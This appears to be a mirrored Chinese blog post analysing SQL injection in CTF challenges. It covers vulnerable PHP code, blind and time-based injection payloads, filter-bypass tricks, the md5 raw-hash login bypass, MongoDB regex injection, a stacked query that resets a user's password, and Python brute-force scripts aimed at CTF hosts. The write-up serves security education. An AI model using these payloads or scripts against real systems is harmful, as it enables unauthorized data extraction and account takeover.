zoukankan      html  css  js  c++  java
  • CTF中常见注入题源码及脚本分析

    1.代码审计发现 这里没有用escape_string,因此存在注入。

     1 function show($username){
     2   global $conn;
     3   $sql = "select role from `user` where username ='".$username."'";
     4   $res = $conn ->query($sql);
     5   if($res->num_rows>0){
     6   echo "$username is ".$res->fetch_assoc()['role'];
     7   }else{
     8   die("Don't have this user!");
     9   }
    10 }

     通过这里注入可以得到pasaword,$usename为被 单引号引起,所以应该首先注意闭合单引号。

    pyhton脚本如下:

     1 # --coding:utf-8--    import requests
     2 url="http://117.34.111.15:89/?action=show"
     3 passwd=""
     4 lists="1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"
     5 for i in xrange(1,33):
     6     print i
     7     for p in lists:
     8         param={'username':"-1'=(ascii(mid((passwd)from("+str(i)+")))="+str(ord(p))+")='0"}
     9         print requests.post(url,data=param).content
    10         if "admin" in requests.post(url,data=param).content:
    11             passwd=passwd+p
    12             break
    13 print passwd

    首先可以通过注入得到password长度为32,即我们需要爆破32位长度的密码。

    利用 (-1=x=x=0)=true的逻辑来依次判断出每一位密码。

    因为有32位,所以外层循环需要32次,对每一次都需要内层循环遍历所有的数字和字母,当三个等于号为true时,页面返回中会返回包含“admin”的字符串,此时可以将爆破出的一位密码位保留。

    登陆就是flag 登陆这里的admin判断直接用admin%c2这个去绕过(mysql客户端与数据库的字符转换trick,当客户端为utf8,数据库为latin1的时候,latin1不允许出现汉字,所以将%c2视为无用部分舍去)。

    2.当注入时出现逗号,空格被过滤且关键字段被过滤

    首先创建一张表作为要被查询的表作为演示

    插入一些数据;

     我们的目的是查询出id=4的passwd的值,但是空格逗号被过滤以及passwd字段被过滤,所以首先绕过空格和逗号的过滤,

    空格的过滤可以用//,/**/,(),+绕过

    逗号,关键字段可以用join查询来实现,以便于实现union联合查询。

    首先看一下join的效果:

     这里的1,2,3,4是我们可以替换的用于显示的数据位,比如:

    我们通过id主键来查询出每一条结果

     为了查出第四条记录的passwd字段的值,首先构造: 

    1 select * from((select 1)a join (select 2)b  join (select 3)c  join (select 4)d)

    假设字段三是数据回显位,则将(select 3)改写为:

    1 (select result.3 from (select * from ((select 1)q join (select 2)w join (select 3)e join (select 4)r) union select * from table3 limit 1 offset 3) result)c

    则最终语句为:

    1 select * from((select 1)a join (select 2)b  join (select result.3 from(select * from ((select 1)q join (select 2)w join (select 3)e join (select 4)r)union select * from table3 limit 1 offset 4)result)c join (select 4)d);

     

    3.过滤了逗号,延时注入(sleep()函数):

    首先无法使用if函数,但是可以用select case函数代替

    1 select case when (条件1) 代码1 else (条件2) 代码2

    即可构造

    1 1 -1' select case when (substring(select flag from flag from i for 1))=j) then sleep(6) else 0 end and '1'='1

    脚本如下:

     4.sql in hash

    代码如下:

     1 <?php 
     2 error_reporting(0);
     3 $link = mysql_connect('localhost', 'root', '');
     4 if (!$link) { 
     5   die('Could not connect to MySQL: ' . mysql_error()); 
     6 } 
     7 // 选择数据库
     8 $db = mysql_select_db("test", $link);
     9 if(!$db)
    10 {
    11   echo 'select db error';
    12   exit();
    13 }
    14 // 执行sql
    15 $password = "ffifdyop";
    16 $sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
    17 var_dump($sql);
    18 $result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
    19 $row1 = mysql_fetch_row($result);
    20 var_dump($row1);
    21 mysql_close($link);
    22 ?>

    我们在不知道密码的情况下要完成登陆,切密码经过hash,因为可以将hash之后的16进制转为字符串,即

    即此时可构成注入 ,查询语句如下:

    1 select * from admin where pass= ''or'6<trash>'

     

     5.sql逻辑绕过:

    1 select * from *** where username ="" and password="";

    即构造select * from *** where username = " " =" " and password =" " =" ";

     6.基于时间的延时注入:

    1 ' or sleep(10) and ''='

    发现存在延时,此时首先测试flag的长度:

    ' and select((select length(flag) from flag)=32) or '1

     7.基于Mongodb的注入:

    利用正则爆破admin账户的密码:

     当匹配每一位字符时,若匹配正确则302跳转,若匹配错误,则无跳转,则根据是否发生跳转来判断每一位字符。

    利用(.*)正则表达式去匹配除了被测试的当前字符以外的其他所有字符。

    或者利用另一种正则匹配:

    若匹配当前字符正确,则继续匹配,由于默认最后一个字符为 } ,则当匹配到 } 时,匹配结束。

    8.宽字节盲注:

    情况:and、or、mid、substr、union、>、<、空白符、ascii等为敏感词,

     9.重置用户密码:

    1  select username ,password from user where username='$username'
    1 select username ,password from user where username='x';update user set password='123456' where userId=1 #''

     10.逻辑符号被过滤时的注入

    过滤*,#,/ ,and,or,|,union,空格

    此时可以用的payload

    ①:admin'%(1)%'1

    括号中为所使用的判断条件

    例如可以判断数据库长度:

    admin'%(select length(database())>1)%'1'

    判断数据库名字

    admin'%(ascii(mid(database()) from 1 for 1)=90)%'1'

    ②:admin'^(1)^'1'

    同上,括号中填入要执行的条件

    11.过滤or

    $blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|and|benchmark|like|regexp|if|=|-|<|>|#|s/i';

    当过滤or的时候,即无法使用information_schema表了来获取表名,MySQL 5.7 之后的版本,在其自带的 mysql 库中,新增了 innodb_table_stats 和 innodb_index_stats 这两张日志表。如果数据表的引擎是innodb ,则会在这两张表中记录表、键的信息 。

    因此我们使用 mysql.innodb_table_stats 来代替 information_schema.tables 即可获取表名。

    12.left,right函数结合strcmp使用

     假设有表如上所示,则可以使用如下过程来进行盲注:

    初始化flag=""  #空字符串

    假设查出来的第一位为b,那么只需要便利所有可见字符,并且使用strcmp函数与其进行对比即可

     

    当遍历到正确字符的时候,返回值为0,此时就可以将此字符与flag拼接,并且依次截取2-n位flag,与全局的flag进行对比

    重复上述过程就可以得到完整的flag,与flag相对的是right函数,right函数是从右边开始截取字符串,原理与left相同

                             

                                               

    import requests
    
    dic = list('1234567890abcdefghijklmnopqrstuvwxyz[]<>@!-~?=_()*{}#. /')
    ans = ''
    for pos in range(1,1000):
        flag = 1
        for c in dic:
            payload = "admin'and(strcmp(right((select * from flag),%d),'%s'0))||'"%(pos,c+ans)
            resp = requests.get("http://kzone.2018.hctf.io/include/common.php")
            if 'Set-Cookie' in resp.headers:
                ans = c+ans
                print(ord(c))
                flag=0
                break
        if flag:
            break
        print("--"+ans+"--")
    

      这里引用一下现有的脚本进行分析,ans就是全局的flag,通过pos参数来依次截取1-n位flag,因为一般flag长度肯定是小于1000的,对于每一位字符都遍历一次可打印字符序列,并带入payload进行查询,具体的判断逻辑因题目可以改,直到flag=1此时退出循环,即flag已经提取结束。

    12.利用between and 进行盲注

    利用between and 进行盲注可以不使用逗号来进行盲注,假设有下表所示数据

    还是依次截取1-n位字符来与正确的flag进行对比,当正确字符位于字符范围内时,则返回为1,不在字符范围内时,则返回为0,因此当返回为1时,下界字符就是正确的字符。

    import requests
    
    url = 'http://kzone.2018.hctf.io/admin/'
    key = ''
    strings = [chr(i) for i in range(32, 127)]
    while True:
        for i in reversed(strings):
            payload = "admin' and (select * from F1444g) between '%s' and '%s' and '1" % (key + i, chr(126))
            r = requests.get(url, headers=headers)
            if 'Management Index' in r.text:
                key += i
                break
            else:
                print(i)
        print(key)
     

    借用上面的代码来说明流程,只需要逆序减小下界,当下界满足逻辑判断条件时即进行flag拼接,其中key为全局的flag。

  • 相关阅读:
    python manage.py runserver 127.0.0.1:8000 启动后台有两个启动进程
    python3 异步任务之----celery
    @property、@staticmethod、@classmethod装饰器
    python工具类之collections
    面试编程题TEG
    python字符串相关操作
    python 时间操作
    防止恶意调用
    python
    gdb可以调试python的pdb么
  • 原文地址:https://www.cnblogs.com/tr1ple/p/7173127.html
Copyright © 2011-2022 走看看